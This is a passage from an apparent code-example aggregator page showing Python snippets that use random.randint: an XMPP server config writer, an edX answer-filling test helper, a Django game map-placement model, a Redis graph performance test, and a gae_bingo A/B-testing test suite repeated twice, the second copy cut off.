    <certificate file="xmppd.pem"/>
    <plugins>
        <MUC jid="muc.''' + hostname + '''" name="SPADE MUC Component"/>
        <WQ jid="wq.''' + hostname + '''" name="SPADE Workgroup Queues"/>
    </plugins>
    <components>
        <AMS jid="ams.''' + hostname + '''" name="AMS" username="ams" password="''' + ams_passwd + '''"/>
        <DF jid="df.''' + hostname + '''" name="DF" username="df" password="''' + df_passwd + '''"/>
        <ACC jid="acc.''' + hostname + '''" name="ACC" username="acc" password="''' + acc_passwd + '''"/>
    </components>
</server>
        '''

    file = open("xmppd.xml", "w+")
    file.write(xmppdxml)
    file.close()

Example 24

Project: ANALYSE
Source File: problems_setup.py
View license
def answer_problem(course, problem_type, correctness):
    # Make sure that the problem has been completely rendered before
    # starting to input an answer.
    world.wait_for_ajax_complete()

    section_loc = section_location(course)

    if problem_type == "drop down":
        select_name = "input_{}_2_1".format(
            section_loc.course_key.make_usage_key('problem', 'drop_down').html_id()
        )
        option_text = 'Option 2' if correctness == 'correct' else 'Option 3'
        world.select_option(select_name, option_text)

    elif problem_type == "multiple choice":
        if correctness == 'correct':
            world.css_check(inputfield(course, 'multiple choice', choice='choice_2'))
        else:
            world.css_check(inputfield(course, 'multiple choice', choice='choice_1'))

    elif problem_type == "checkbox":
        if correctness == 'correct':
            world.css_check(inputfield(course, 'checkbox', choice='choice_0'))
            world.css_check(inputfield(course, 'checkbox', choice='choice_2'))
        else:
            world.css_check(inputfield(course, 'checkbox', choice='choice_3'))

    elif problem_type == 'radio':
        if correctness == 'correct':
            world.css_check(inputfield(course, 'radio', choice='choice_2'))
        else:
            world.css_check(inputfield(course, 'radio', choice='choice_1'))

    elif problem_type == 'string':
        textvalue = 'correct string' if correctness == 'correct' else 'incorrect'
        world.css_fill(inputfield(course, 'string'), textvalue)

    elif problem_type == 'numerical':
        textvalue = "pi + 1" if correctness == 'correct' else str(random.randint(-2, 2))
        world.css_fill(inputfield(course, 'numerical'), textvalue)

    elif problem_type == 'formula':
        textvalue = "x^2+2*x+y" if correctness == 'correct' else 'x^2'
        world.css_fill(inputfield(course, 'formula'), textvalue)

    elif problem_type == 'script':
        # Correct answer is any two integers that sum to 10
        first_addend = random.randint(-100, 100)
        second_addend = 10 - first_addend

        # If we want an incorrect answer, then change
        # the second addend so they no longer sum to 10
        if correctness == 'incorrect':
            second_addend += random.randint(1, 10)

        world.css_fill(inputfield(course, 'script', input_num=1), str(first_addend))
        world.css_fill(inputfield(course, 'script', input_num=2), str(second_addend))

    elif problem_type == 'code':
        # The fake xqueue server is configured to respond
        # correct / incorrect no matter what we submit.
        # Furthermore, since the inline code response uses
        # JavaScript to make the code display nicely, it's difficult
        # to programatically input text
        # (there's not <textarea> we can just fill text into)
        # For this reason, we submit the initial code in the response
        # (configured in the problem XML above)
        pass

    elif problem_type == 'radio_text' or problem_type == 'checkbox_text':

        input_value = "8" if correctness == 'correct' else "5"
        choice = "choiceinput_0bc" if correctness == 'correct' else "choiceinput_1bc"
        world.css_fill(
            inputfield(
                course,
                problem_type,
                choice="choiceinput_0_numtolerance_input_0"
            ),
            input_value
        )
        world.css_check(inputfield(course, problem_type, choice=choice))
    elif problem_type == 'image':
        offset = 25 if correctness == "correct" else -25

        def try_click():
            problem_html_loc = section_loc.course_key.make_usage_key('problem', 'image').html_id()
            image_selector = "#imageinput_{}_2_1".format(problem_html_loc)
            input_selector = "#input_{}_2_1".format(problem_html_loc)

            world.browser.execute_script('$("body").on("click", function(event) {console.log(event);})')

            initial_input = world.css_value(input_selector)
            world.wait_for_visible(image_selector)
            image = world.css_find(image_selector).first
            (image.action_chains
                .move_to_element(image._element)
                .move_by_offset(offset, offset)
                .click()
                .perform())

            world.wait_for(lambda _: world.css_value(input_selector) != initial_input)

        world.retry_on_exception(try_click)

Example 25

Project: team566
Source File: models.py
View license
    @transaction.commit_on_success
    def place(self):
        """
        Logic for determining how to place itself on the continent.
        """
        CX, CY = settings.CONTINENT_SIZE
        SX, SY = settings.SETTLEMENT_SIZE
        # @@@ need to test if continent is full otherwise an infinite loop
        # will occur
        y = None
        while y is None:
            x = random.randint(1, CX)
            S = set(range(1, CY+1)) - set([s.y for s in Settlement.objects.filter(x=x)])
            if S:
                y = random.choice(list(S))
        self.x = x
        self.y = y
        self.save()
        
        # mark x,y used on the continent
        self.continent.allocation += "%s%d,%d" % (" ", x, y)
        self.continent.save()
        
        # create the resource counts which are non-player for the settlement
        for resource_kind in ResourceKind.objects.filter(player=False):
            self.settlementresourcecount_set.create(
                kind=resource_kind,
                count=1000,
                natural_rate=0,
                rate_adjustment=0,
                timestamp=datetime.datetime.now(),
                limit=0,
            )
        
        # the following code is a fairly trivial clustering algorithm which
        # checks neigbors for similar kinds and weights them in choosing what
        # the terrain will be placed as.
        #
        # it is updating an allocation table which is a denormalized way for
        # easily checking if a cell on the map is taken.
        
        def check_cell(settlement, x, y):
            if not 1 <= x <= SX or not 1 <= y <= SY:
                terrain = None
            else:
                try:
                    terrain = settlement.terrain.select_related("kind").get(x=x, y=y)
                except SettlementTerrain.DoesNotExist:
                    terrain = None
            return terrain
        
        allocation = []
        
        for i in range(settings.SETTLEMENT_RESOURCE_COUNT):
            occupied = True
            while occupied:
                x = random.randint(1, SX)
                y = random.randint(1, SY)
                # check if the randomly chosen x, y is not already occupied
                if not (x, y) in allocation:
                    break
            allocation.append((x, y))
            # check surrounding cells
            neighbors = [
                check_cell(self, x+1, y),
                check_cell(self, x-1, y),
                check_cell(self, x, y+1),
                check_cell(self, x, y-1),
                check_cell(self, x+1, y+1),
                check_cell(self, x-1, y-1),
                check_cell(self, x+1, y-1),
                check_cell(self, x-1, y+1),
            ]
            counts = collections.defaultdict(int)
            for neighbor in filter(bool, neighbors):
                counts[neighbor.kind.slug] += 1
            population = []
            for kind in SettlementTerrainKind.objects.all():
                population.append((kind, counts.get(kind.slug, 0) + 1))
            kind = weighted_choices(population, 1)[0]
            terrain = self.terrain.create(kind=kind, x=x, y=y)
            # create resource counts for what the terrain kind produces
            for resource_kind in kind.produces.all():
                count = random.randint(1, 50000)
                terrain.settlementterrainresourcecount_set.create(
                    kind=resource_kind,
                    count=count,
                    natural_rate=count / 100,
                    rate_adjustment=0,
                    timestamp=datetime.datetime.now(),
                    limit=count
                )
        
        self.allocation = " ".join(("%d,%d" % (x, y) for x, y in allocation))
        # for updating the allocation table
        self.save()

Example 26

Project: pygraph_redis
Source File: test_perf.py
View license
def performance(node_number, has_root):

    #max number of successors
    max_number_successors = 10
    #max number of predecessors
    max_number_predecessors = 10
    
    #performance target (number of insertions per seconde)
    target = 50
    
    #empty lists (initialization)
    nodes = []
    successors = []
    predecessors = []
    
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    
    #some fixed attributs
    fix_attributes = {'jack': set(['1','2']), 'spare': 'youpi'}
    
    #function transforming <number> -> node_<number>
    def create_name_from_number(integer):
        return 'node_' + str(integer)
    
    #function generating the graph in python structures
    def generate_tree(node_number):
    
        #we create node_number of nodes
        for node in range(node_number):
            #we create a nice name for the node (node_<number>)
            node_name = create_name_from_number(node)
            #we add it to the node
            nodes.append(node_name)
            successors_node = []
            #for each nodes, we create a random number of successors < max_number_successors
            for j in range(random.randint(1, max_number_successors)):
                successor_name = create_name_from_number(random.randint(1, node_number))
                successors_node.append(successor_name)
            predecessors_node = []
            #for each nodes, we create a random number of predecessors < max_number_predecessors
            for j in range(random.randint(1, max_number_predecessors)):
                predecessor_name = create_name_from_number(random.randint(1, node_number))
                predecessors_node.append(predecessor_name)
            #we add the successors of the node in the list of successors lists (same with the predecessors)
            successors.append(successors_node)
            predecessors.append(predecessors_node)
    
    print(OKBLUE + "creating " + str(node_number)  + " nodes")
    #calling the generation function
    generate_tree(node_number)
    
    #creating the redis connexion
    r_server = redis.Redis("localhost")
    
    #creating a basic logger
    logging.basicConfig(format = '%(message)s')
    logger = logging.getLogger('redis')
    logger.parent.setLevel(logging.CRITICAL)
    
    #creating the graph object
    graph = Directed_graph(r_server, 'uniq', logger, has_root = has_root)
    
    #we define two process to write the nodes
    def process_one():
        for i in range(0,node_number):
            graph.write_on_node(nodes[i],successors[i],predecessors[i],fix_attributes)
    
    
    #we get the date before the insertion
    t1 = datetime.now()
    #create and launch the two processes
    print(OKBLUE + "starting the insertion")
    process_one()
    
    #when the two processes are ended
    #we get the date after the insertion 
    t2 = datetime.now()
    c = t2 - t1
    
    #we print(the number of node inserted per second)
    print( OKBLUE + "insertion completed")
    perf = node_number / c.total_seconds()
    
    if perf > target:
        print( OKGREEN + "####\nadding " + str(perf) + " nodes/second\n####")
        return_1 = True
    else:
        print( WARNING + "####\nadding " + str(perf) + " nodes/second\n####")
        return_1 = False
    
    #we do exactly the same to delete the inserted nodes
    def process_one():
        for i in range(0,node_number):
            graph.remove_node(nodes[i])
    
    t1 = datetime.now()
    print(OKBLUE + "starting deleting the nodes")
    process_one()
   
    t2 = datetime.now()
    c = t2 - t1
    print(OKBLUE + "delete completed")
    
    perf = node_number / c.total_seconds()
    
    graph.remove_node(graph.root)
    if perf > target:
        print( OKGREEN + "####\nremoving " + str(perf) + " nodes/second\n####" + WHITE)
        return_2 = True
    else:
        print( WARNING + "####\nremoving " + str(perf) + " nodes/second\n####" + WHITE)
        return_2 = False

    return return_1 and return_2

Example 27

Project: gae_bingo
Source File: run_tests.py
View license
def run_tests():

    # Delete all experiments (response should be count of experiments left)
    assert(test_response("delete_all") == 0)

    # Ensure the identity works correctly and consistently after login.
    for i in xrange(5):
        # Randomly generate an ID so we have a good chance of having a new one.
        # If that assumption is wrong, the test will fail--clear
        # the datastore to increase chances of working.
        user = base64.urlsafe_b64encode(os.urandom(30)) + "%40example.com"
        test_response(url="/")  # Load / to get ID assigned
        firstID = test_response("get_identity", use_last_cookies=True)  # get ID
        url = "/_ah/login?email=" + user + "&action=Login&continue=%2Fpostlogin"
        test_response(use_last_cookies=True, url=url)
        # Now make sure the ID is consistent
        assert(firstID == test_response("get_identity", use_last_cookies=True))

    assert(test_response("delete_all") == 0)  # Clear out experiments this made

    # We're going to try to add a conversion to the experiment
    assert(test_response("participate_in_hippos") in [True, False])

    assert(test_response("convert_in",
                        {"conversion_name":
                         "hippos_binary"}, use_last_cookies=True))

    # Make sure participant counts are right
    assert(test_response("count_participants_in",
                        {"experiment_name": "hippos (hippos_binary)"},
                        use_last_cookies=True)
           == 1)
    assert(test_response("count_participants_in",
                        {"experiment_name": "hippos (hippos_counting)"},
                        use_last_cookies=True)
           == 1)
    # Make sure we have the right number of conversions
    dict_conversions_server = test_response(
                         "count_conversions_in",
                         {"experiment_name": "hippos (hippos_binary)"},
                         use_last_cookies=True)
    assert(sum(dict_conversions_server.values()) == 1)

    dict_conversions_server = test_response(
                        "count_conversions_in",
                        {"experiment_name": "hippos (hippos_counting)"},
                        use_last_cookies=True)
    assert(sum(dict_conversions_server.values()) == 0)

    assert(test_response("add_conversions", use_last_cookies=True)
            in [True, False])
    assert(test_response("count_experiments", use_last_cookies=True) == 3)

    # make sure that we have the /right/ experiments
    assert(set(ast.literal_eval(test_response("get_experiments",
                                use_last_cookies=True)).keys()) ==
               set(["hippos (hippos_binary)",
                    "hippos (hippos_counting)",
                    "hippos (rhinos_counting)"]))
    
    assert(test_response("convert_in",
                        {"conversion_name": "rhinos_counting"},
                        use_last_cookies=True))

    dict_conversions_server = test_response(
                        "count_conversions_in",
                        {"experiment_name": "hippos (hippos_binary)"})
    assert(sum(dict_conversions_server.values()) == 1)

    dict_conversions_server = test_response(
                        "count_conversions_in",
                        {"experiment_name": "hippos (hippos_counting)"},
                         use_last_cookies=True)
    assert(sum(dict_conversions_server.values()) == 0)
    
    dict_conversions_server = test_response(
                        "count_conversions_in",
                        {"experiment_name": "hippos (rhinos_counting)"},
                        use_last_cookies=True)
    
    assert(sum(dict_conversions_server.values()) == 1)

    # get rid of this test's data so it doesn't affect other tests
    assert(test_response("delete_all") == 0)

    # Now try the same, but with switching users
    assert(test_response("participate_in_hippos") in [True, False])
    
    assert(test_response("convert_in",
                        {"conversion_name":
                         "hippos_binary"}, use_last_cookies=True))

    assert(test_response("participate_in_hippos", use_last_cookies=False) 
            in [True, False])

    assert(test_response("add_conversions", use_last_cookies=True) in 
            [True, False])

    assert(test_response("convert_in",
                        {"conversion_name":
                         "rhinos_counting"}, use_last_cookies=True))
    assert(test_response("count_participants_in",
                        {"experiment_name": "hippos (hippos_binary)"}) == 2)
    assert(test_response("count_participants_in",
                        {"experiment_name": "hippos (rhinos_counting)"}) == 1)
    dict_conversions_server = test_response(
                                 "count_conversions_in",
                                 {"experiment_name": "hippos (hippos_binary)"})
    assert(sum(dict_conversions_server.values()) == 1)
    dict_conversions_server = test_response(
                            "count_conversions_in",
                            {"experiment_name": "hippos (rhinos_counting)"})
    assert(sum(dict_conversions_server.values()) == 1)
    
    assert(test_response("delete_all") == 0)

    # Test constructing a redirect URL that converts in monkey and chimps
    redirect_url_monkeys = test_response("create_monkeys_redirect_url")
    assert(redirect_url_monkeys ==
           "/gae_bingo/redirect?continue=/gae_bingo" +
           "&conversion_name=monkeys")

    redirect_url_chimps = test_response("create_chimps_redirect_url")
    assert(redirect_url_chimps ==
           "/gae_bingo/redirect?continue=/gae_bingo&" +
           "conversion_name=chimps_conversion_1&" + 
           "conversion_name=chimps_conversion_2")

    # Test participating in monkeys and chimps once,
    # and use previously constructed redirect URLs to convert
    assert(test_response("participate_in_monkeys") in [True, False])
    test_response(use_last_cookies=True, url=redirect_url_monkeys)
    assert(test_response("participate_in_chimpanzees") in [True, False])
    test_response(use_last_cookies=True, url=redirect_url_chimps)

    # Make sure there's a single participant and conversion in monkeys
    assert(test_response("count_participants_in",
                        {"experiment_name": "monkeys"})
           == 1)
    dict_conversions_server = test_response("count_conversions_in",
                                           {"experiment_name": "monkeys"})
    assert(sum(dict_conversions_server.values()) == 1)

    # Make sure there's a single participant and two conversions in chimps
    assert(test_response(
                "count_participants_in",
               {"experiment_name": "chimpanzees (chimps_conversion_1)"}) == 1)
    dict_conversions_server = test_response(
                                "count_conversions_in",
                                {"experiment_name":
                                    "chimpanzees (chimps_conversion_1)"})
    assert(sum(dict_conversions_server.values()) == 1)
    dict_conversions_server = test_response(
                                "count_conversions_in",
                                {"experiment_name":
                                 "chimpanzees (chimps_conversion_2)"})
    assert(sum(dict_conversions_server.values()) == 1)

    # Delete all experiments for next round of tests
    # (response should be count of experiments left)
    assert(test_response("delete_all") == 0)

    # Refresh bot's identity record so it doesn't pollute tests
    assert(test_response("refresh_identity_record", bot=True))

    # Participate in experiment A, check for correct alternative
    # valuesum(core_metrics.values(), [])s being returned,
    for i in range(0, 20):
        assert(test_response("participate_in_monkeys") in [True, False])

    assert(test_response("count_participants_in",
                        {"experiment_name": "monkeys"})
            == 20)

    # Identify as a bot a couple times (response should stay the same)
    bot_value = None
    for i in range(0, 5):
        value = test_response("participate_in_monkeys", bot=True)
        assert(value in [True, False])

        if bot_value is None:
            bot_value = value

        assert(value == bot_value)

    # Check total participants in A (1 extra for bots)
    assert(test_response("count_participants_in",
                        {"experiment_name": "monkeys"}) == 21)

    # Participate in experiment B (responses should be "a" "b" or "c")
    for i in range(0, 15):
        assert(test_response("participate_in_gorillas") in ["a", "b", "c"])

    # Participate in experiment A,
    # using cookies half of the time to maintain identity
    for i in range(0, 20):
        assert(test_response("participate_in_monkeys",
                             use_last_cookies=(i % 2 == 1)) 
               in [True, False])
    # Check total participants in A
    # (should've only added 10 more in previous step)
    assert(test_response("count_participants_in",
                        {"experiment_name": "monkeys"}) == 31)

    # Participate in A once more with a lot of followup, 
    # persisting to datastore and flushing memcache between followups
    for i in range(0, 10):
        assert(test_response("participate_in_monkeys",
                             use_last_cookies=(i not in [0, 5]))
               in [True, False])

        if i in [1, 6]:

            assert(test_response("persist", use_last_cookies=True))

            # Wait 10 seconds for task queues to run
            time.sleep(10)

            assert(test_response("flush_all_memcache",
                                 use_last_cookies=True))

    # NOTE: It's possible for this to fail sometimes--maybe a race condition?
    # TODO(kamens,josh): figure out why this happens? (Or just wait to not use
    #                     AppEngine any more)
    # Check total participants in A
    # (should've only added 2 more in previous step)
    assert(test_response("count_participants_in",
                         {"experiment_name": "monkeys"}) == 33)

    # Participate and convert in experiment A,
    # using cookies to tie participation to conversions,
    # tracking conversions-per-alternative
    dict_conversions = {}
    for i in range(0, 35):
        alternative_key = str(test_response("participate_in_monkeys"))
        assert(test_response("convert_in",
                            {"conversion_name": "monkeys"},
                             use_last_cookies=True))


        if not alternative_key in dict_conversions:
            dict_conversions[alternative_key] = 0
        dict_conversions[alternative_key] += 1

    # Check total conversions-per-alternative in A
    assert(len(dict_conversions) == 2)
    assert(35 == sum(dict_conversions.values()))

    dict_conversions_server = test_response("count_conversions_in",
                                           {"experiment_name": "monkeys"})
    assert(len(dict_conversions) == len(dict_conversions_server))

    for key in dict_conversions:
        assert(dict_conversions[key] == dict_conversions_server[key])

    # Participate in experiment B, using cookies to maintain identity
    # and making sure alternatives for B are stable per identity
    last_response = None
    for i in range(0, 20):
        use_last_cookies = (last_response is not None and
                             random.randint(0, 2) > 0)

        current_response = test_response("participate_in_gorillas",
                                         use_last_cookies=use_last_cookies)

        if not use_last_cookies:
            last_response = current_response

        assert(current_response in ["a", "b", "c"])
        assert(last_response == current_response)

    # Participate in experiment C, which is a multi-conversion experiment,
    # and occasionally convert in *one* of the conversions
    expected_conversions = 0
    for i in range(0, 20):
        assert(test_response("participate_in_chimpanzees") in [True, False])

        if random.randint(0, 2) > 0:
            assert(test_response("convert_in",
                                {"conversion_name": "chimps_conversion_2"},
                                use_last_cookies=True))
            expected_conversions += 1

    # It's statistically possible but incredibly unlikely 
    # for this to fail based on random.randint()'s behavior
    assert(expected_conversions > 0)

    # Make sure conversions for the 2nd conversion type 
    # of this experiment are correct
    dict_conversions_server = test_response(
                                 "count_conversions_in",
                                 {"experiment_name":
                                     "chimpanzees (chimps_conversion_2)"})
    assert(expected_conversions == sum(dict_conversions_server.values()))

    # Make sure conversions for the 1st conversion type 
    # of this experiment are empty
    dict_conversions_server = test_response(
                                "count_conversions_in",
                                {"experiment_name":
                                 "chimpanzees (chimps_conversion_1)"})
    assert(0 == sum(dict_conversions_server.values()))

    # Test that calling bingo multiple times for a single 
    # user creates only one conversion (for a BINARY conversion type)
    assert(test_response("participate_in_chimpanzees") in [True, False])
    assert(test_response("convert_in",
                        {"conversion_name": "chimps_conversion_1"},
                        use_last_cookies=True))

    assert(test_response("convert_in",
                        {"conversion_name": "chimps_conversion_1"},
                         use_last_cookies=True))

    dict_conversions_server = test_response(
                                "count_conversions_in",
                                {"experiment_name":
                                    "chimpanzees (chimps_conversion_1)"})
    assert(1 == sum(dict_conversions_server.values()))

    # End experiment C, choosing a short-circuit alternative
    test_response("end_and_choose",
                 {"canonical_name": "chimpanzees", "alternative_number": 1})

    # Make sure short-circuited alternatives for 
    # C's experiments are set appropriately
    for i in range(0, 5):
        assert(test_response("participate_in_chimpanzees") == False)

    # Test an experiment with a Counting type conversion 
    # by converting multiple times for a single user
    assert(test_response("participate_in_hippos") in [True, False])

    # Persist to the datastore before Counting stress test
    assert(test_response("persist", use_last_cookies=True))

    # Wait 20 seconds for task queues to run
    time.sleep(20)

    # Hit Counting conversions multiple times
    for i in range(0, 20):

        if i % 3 == 0:
            # Stress things out a bit by flushing the memcache .incr() 
            # counts of each hippo alternative
            assert(test_response("persist", use_last_cookies=True))
            assert(test_response("flush_hippo_counts_memcache", 
                                 use_last_cookies=True))
        
        elif i % 5 == 0:
            # Stress things out even more flushing the core bingo memcache
            assert(test_response("flush_bingo_memcache",
                                 use_last_cookies=True))


        assert(test_response("convert_in",
                            {"conversion_name": "hippos_binary"},
                            use_last_cookies=True))

        assert(test_response("convert_in",
                            {"conversion_name": "hippos_counting"},
                            use_last_cookies=True))


    dict_conversions_server = test_response(
                                "count_conversions_in",
                                {"experiment_name": "hippos (hippos_binary)"})
    assert(1 == sum(dict_conversions_server.values()))
    dict_conversions_server = test_response(
                                "count_conversions_in",
                                {"experiment_name":
                                    "hippos (hippos_counting)"})
    assert(20 == sum(dict_conversions_server.values()))

    # Participate in experiment D (weight alternatives), 
    # keeping track of alternative returned count.
    dict_alternatives = {}
    for i in range(0, 75):
        alternative = test_response("participate_in_crocodiles")
        assert(alternative in ["a", "b", "c"])

        if not alternative in dict_alternatives:
            dict_alternatives[alternative] = 0
        dict_alternatives[alternative] += 1

    # Make sure weighted alternatives work -> should be a < b < c < d < e, 
    # but they should all exist.
    #
    # Again, it is statistically possible for
    # the following asserts to occasionally fail during
    # these tests, but it should be exceedingly rare 
    # if weighted alternatives are working properly.
    for key in ["a", "b", "c"]:
        assert(dict_alternatives.get(key, 0) > 0)
    assert(dict_alternatives.get("a", 0) < dict_alternatives.get("b", 0))
    assert(dict_alternatives.get("b", 0) < dict_alternatives.get("c", 0))

    # Check experiments count
    assert(test_response("count_experiments") == 7)

    # Test persist and load from DS
    assert(test_response("persist"))
    assert(test_response("flush_all_memcache"))

    # Check experiments and conversion counts 
    # remain after persist and memcache flush
    assert(test_response("count_experiments") == 7)

    dict_conversions_server = test_response(
                                "count_conversions_in", 
                                {"experiment_name":
                                    "chimpanzees (chimps_conversion_2)"})
    assert(expected_conversions == sum(dict_conversions_server.values()))

    # Test archiving
    assert(test_response("archive_monkeys"))

    # Test lack of presence in normal list of experiments after archive
    assert("monkeys" not in test_response("get_experiments"))

    # Test presence in list of archived experiments
    assert("monkeys" in test_response("get_archived_experiments"))

    # Test participating in monkeys once again after archiving
    # and make sure there's only one participant
    assert(test_response("participate_in_monkeys") in [True, False])
    assert(test_response("count_participants_in",
                        {"experiment_name": "monkeys"})
           == 1)

    print "Tests successful."

Example 28

Project: gae_bingo
Source File: run_tests.py
View license
def run_tests():

    # Delete all experiments (response should be count of experiments left)
    assert(test_response("delete_all") == 0)

    # Ensure the identity works correctly and consistently after login.
    for i in xrange(5):
        # Randomly generate an ID so we have a good chance of having a new one.
        # If that assumption is wrong, the test will fail--clear
        # the datastore to increase chances of working.
        user = base64.urlsafe_b64encode(os.urandom(30)) + "%40example.com"
        test_response(url="/")  # Load / to get ID assigned
        firstID = test_response("get_identity", use_last_cookies=True)  # get ID
        url = "/_ah/login?email=" + user + "&action=Login&continue=%2Fpostlogin"
        test_response(use_last_cookies=True, url=url)
        # Now make sure the ID is consistent
        assert(firstID == test_response("get_identity", use_last_cookies=True))

    assert(test_response("delete_all") == 0)  # Clear out experiments this made

    # We're going to try to add a conversion to the experiment
    assert(test_response("participate_in_hippos") in [True, False])

    assert(test_response("convert_in",
                        {"conversion_name":
                         "hippos_binary"}, use_last_cookies=True))

    # Make sure participant counts are right
    assert(test_response("count_participants_in",
                        {"experiment_name": "hippos (hippos_binary)"},
                        use_last_cookies=True)
           == 1)
    assert(test_response("count_participants_in",
                        {"experiment_name": "hippos (hippos_counting)"},
                        use_last_cookies=True)
           == 1)
    # Make sure we have the right number of conversions
    dict_conversions_server = test_response(
                         "count_conversions_in",
                         {"experiment_name": "hippos (hippos_binary)"},
                         use_last_cookies=True)
    assert(sum(dict_conversions_server.values()) == 1)

    dict_conversions_server = test_response(
                        "count_conversions_in",
                        {"experiment_name": "hippos (hippos_counting)"},
                        use_last_cookies=True)
    assert(sum(dict_conversions_server.values()) == 0)

    assert(test_response("add_conversions", use_last_cookies=True)
            in [True, False])
    assert(test_response("count_experiments", use_last_cookies=True) == 3)

    # make sure that we have the /right/ experiments
    assert(set(ast.literal_eval(test_response("get_experiments",
                                use_last_cookies=True)).keys()) ==
               set(["hippos (hippos_binary)",
                    "hippos (hippos_counting)",
                    "hippos (rhinos_counting)"]))
    
    assert(test_response("convert_in",
                        {"conversion_name": "rhinos_counting"},
                        use_last_cookies=True))

    dict_conversions_server = test_response(
                        "count_conversions_in",
                        {"experiment_name": "hippos (hippos_binary)"})
    assert(sum(dict_conversions_server.values()) == 1)

    dict_conversions_server = test_response(
                        "count_conversions_in",
                        {"experiment_name": "hippos (hippos_counting)"},
                         use_last_cookies=True)
    assert(sum(dict_conversions_server.values()) == 0)
    
    dict_conversions_server = test_response(
                        "count_conversions_in",
                        {"experiment_name": "hippos (rhinos_counting)"},
                        use_last_cookies=True)
    
    assert(sum(dict_conversions_server.values()) == 1)

    # get rid of this test's data so it doesn't affect other tests
    assert(test_response("delete_all") == 0)

    # Now try the same, but with switching users
    assert(test_response("participate_in_hippos") in [True, False])
    
    assert(test_response("convert_in",
                        {"conversion_name":
                         "hippos_binary"}, use_last_cookies=True))

    assert(test_response("participate_in_hippos", use_last_cookies=False) 
            in [True, False])

    assert(test_response("add_conversions", use_last_cookies=True) in 
            [True, False])

    assert(test_response("convert_in",
                        {"conversion_name":
                         "rhinos_counting"}, use_last_cookies=True))
    assert(test_response("count_participants_in",
                        {"experiment_name": "hippos (hippos_binary)"}) == 2)
    assert(test_response("count_participants_in",
                        {"experiment_name": "hippos (rhinos_counting)"}) == 1)
    dict_conversions_server = test_response(
                                 "count_conversions_in",
                                 {"experiment_name": "hippos (hippos_binary)"})
    assert(sum(dict_conversions_server.values()) == 1)
    dict_conversions_server = test_response(
                            "count_conversions_in",
                            {"experiment_name": "hippos (rhinos_counting)"})
    assert(sum(dict_conversions_server.values()) == 1)
    
    assert(test_response("delete_all") == 0)

    # Test constructing a redirect URL that converts in monkey and chimps
    redirect_url_monkeys = test_response("create_monkeys_redirect_url")
    assert(redirect_url_monkeys ==
           "/gae_bingo/redirect?continue=/gae_bingo" +
           "&conversion_name=monkeys")

    redirect_url_chimps = test_response("create_chimps_redirect_url")
    assert(redirect_url_chimps ==
           "/gae_bingo/redirect?continue=/gae_bingo&" +
           "conversion_name=chimps_conversion_1&" + 
           "conversion_name=chimps_conversion_2")

    # Test participating in monkeys and chimps once,
    # and use previously constructed redirect URLs to convert
    assert(test_response("participate_in_monkeys") in [True, False])
    test_response(use_last_cookies=True, url=redirect_url_monkeys)
    assert(test_response("participate_in_chimpanzees") in [True, False])
    test_response(use_last_cookies=True, url=redirect_url_chimps)

    # Make sure there's a single participant and conversion in monkeys
    assert(test_response("count_participants_in",
                        {"experiment_name": "monkeys"})
           == 1)
    dict_conversions_server = test_response("count_conversions_in",
                                           {"experiment_name": "monkeys"})
    assert(sum(dict_conversions_server.values()) == 1)

    # Make sure there's a single participant and two conversions in chimps
    assert(test_response(
                "count_participants_in",
               {"experiment_name": "chimpanzees (chimps_conversion_1)"}) == 1)
    dict_conversions_server = test_response(
                                "count_conversions_in",
                                {"experiment_name":
                                    "chimpanzees (chimps_conversion_1)"})
    assert(sum(dict_conversions_server.values()) == 1)
    dict_conversions_server = test_response(
                                "count_conversions_in",
                                {"experiment_name":
                                 "chimpanzees (chimps_conversion_2)"})
    assert(sum(dict_conversions_server.values()) == 1)

    # Delete all experiments for next round of tests
    # (response should be count of experiments left)
    assert(test_response("delete_all") == 0)

    # Refresh bot's identity record so it doesn't pollute tests
    assert(test_response("refresh_identity_record", bot=True))

    # Participate in experiment A, check for correct alternative
    # valuesum(core_metrics.values(), [])s being returned,
    for i in range(0, 20):
        assert(test_response("participate_in_monkeys") in [True, False])

    assert(test_response("count_participants_in",
                        {"experiment_name": "monkeys"})
            == 20)

    # Identify as a bot a couple times (response should stay the same)
    bot_value = None
    for i in range(0, 5):
        value = test_response("participate_in_monkeys", bot=True)
        assert(value in [True, False])

        if bot_value is None:
            bot_value = value

        assert(value == bot_value)

    # Check total participants in A (1 extra for bots)
    assert(test_response("count_participants_in",
                        {"experiment_name": "monkeys"}) == 21)

    # Participate in experiment B (responses should be "a" "b" or "c")
    for i in range(0, 15):
        assert(test_response("participate_in_gorillas") in ["a", "b", "c"])

    # Participate in experiment A,
    # using cookies half of the time to maintain identity
    for i in range(0, 20):
        assert(test_response("participate_in_monkeys",
                             use_last_cookies=(i % 2 == 1)) 
               in [True, False])
    # Check total participants in A
    # (should've only added 10 more in previous step)
    assert(test_response("count_participants_in",
                        {"experiment_name": "monkeys"}) == 31)

    # Participate in A once more with a lot of followup, 
    # persisting to datastore and flushing memcache between followups
    for i in range(0, 10):
        assert(test_response("participate_in_monkeys",
                             use_last_cookies=(i not in [0, 5]))
               in [True, False])

        if i in [1, 6]:

            assert(test_response("persist", use_last_cookies=True))

            # Wait 10 seconds for task queues to run
            time.sleep(10)

            assert(test_response("flush_all_memcache",
                                 use_last_cookies=True))

    # NOTE: It's possible for this to fail sometimes--maybe a race condition?
    # TODO(kamens,josh): figure out why this happens? (Or just wait to not use
    #                     AppEngine any more)
    # Check total participants in A
    # (should've only added 2 more in previous step)
    assert(test_response("count_participants_in",
                         {"experiment_name": "monkeys"}) == 33)

    # Participate and convert in experiment A,
    # using cookies to tie participation to conversions,
    # tracking conversions-per-alternative
    dict_conversions = {}
    for i in range(0, 35):
        alternative_key = str(test_response("participate_in_monkeys"))
        assert(test_response("convert_in",
                            {"conversion_name": "monkeys"},
                             use_last_cookies=True))


        if not alternative_key in dict_conversions:
            dict_conversions[alternative_key] = 0
        dict_conversions[alternative_key] += 1

    # Check total conversions-per-alternative in A
    assert(len(dict_conversions) == 2)
    assert(35 == sum(dict_conversions.values()))

    dict_conversions_server = test_response("count_conversions_in",
                                           {"experiment_name": "monkeys"})
    assert(len(dict_conversions) == len(dict_conversions_server))

    for key in dict_conversions:
        assert(dict_conversions[key] == dict_conversions_server[key])

    # Participate in experiment B, using cookies to maintain identity
    # and making sure alternatives for B are stable per identity
    last_response = None
    for i in range(0, 20):
        use_last_cookies = (last_response is not None and
                             random.randint(0, 2) > 0)

        current_response = test_response("participate_in_gorillas",
                                         use_last_cookies=use_last_cookies)

        if not use_last_cookies:
            last_response = current_response

        assert(current_response in ["a", "b", "c"])
        assert(last_response == current_response)

